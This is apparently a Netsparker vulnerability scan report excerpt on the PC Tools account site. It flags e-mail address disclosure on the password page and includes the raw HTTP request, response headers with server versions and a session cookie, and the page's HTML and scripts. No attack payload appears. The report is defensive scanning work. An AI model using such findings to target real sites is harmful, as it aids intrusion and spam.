content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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return false if( window.XMLHttpRequest ) { // Mozilla, Safari,... http_request = new XMLHttpRequest() // This might be reqiured for Mozilla at some point // if( http_request.overrideMimeType ) http_request.overrideMimeType('text/xml'); } else if( window.ActiveXObject ) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP") } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } if( !http_request ) { // alert('Giving up -- Cannot create an XMLHTTP instance'); return false; } // Anonymous functions like this lead to memory leaks in IE6, unfortunately. // this.http_request.onreadystatechange = function() { Ajax.contents(http_request, return_fctn); }; callback_fctn = return_fctn http_request.onreadystatechange = contents; if( post_data ) { http_request.open('POST', url, true); http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); http_request.setRequestHeader('Cookie', document.cookie); http_request.send(post_data); } else { http_request.open('GET', url, true) http_request.setRequestHeader('Cookie', document.cookie); http_request.send(null); } return true; };}</script><script type="text/javascript">var supportAjax_btm = new Ajax();var theElement_btm = "subscriberesult_btm";function updateView_btm(request) { if (document.getElementById(theElement_btm) && request.responseText != "") { document.getElementById(theElement_btm).style.display = ''; document.getElementById(theElement_btm).innerHTML = request.responseText; }}function newsletterSubscribe_btm() { supportAjax_btm.request('/res/ajax/newsletter.php?email=' + encodeURIComponent(document.getElementById('email_btm').value) + '&product=myaccount&language=en',updateView_btm);}</script> <table cellpadding="0" cellspacing="0" border="0" width="100%"> <tr> <td width="250" class="noprint"> </td> <td class="copy" align="center">Copyright © 1998-2011 PC Tools. All rights reserved.</td> <td class="copy noprint" width="250" align="righ..
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
- /myaccount/password/
/myaccount/password/
username@isp.com ScreenName@aol.com
Request
POST /myaccount/password/ HTTP/1.1 Referer: https://secure.pctools.com/myaccount/password/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: secure.pctools.com Cookie: PHPSESSID=de9ec96a2cf9e0fc329d52c9d14784b5 Content-Length: 6 Accept-Encoding: gzip, deflate Connection: Keep-Alive email=
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6109 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:19 GMT Connection: keep-alive <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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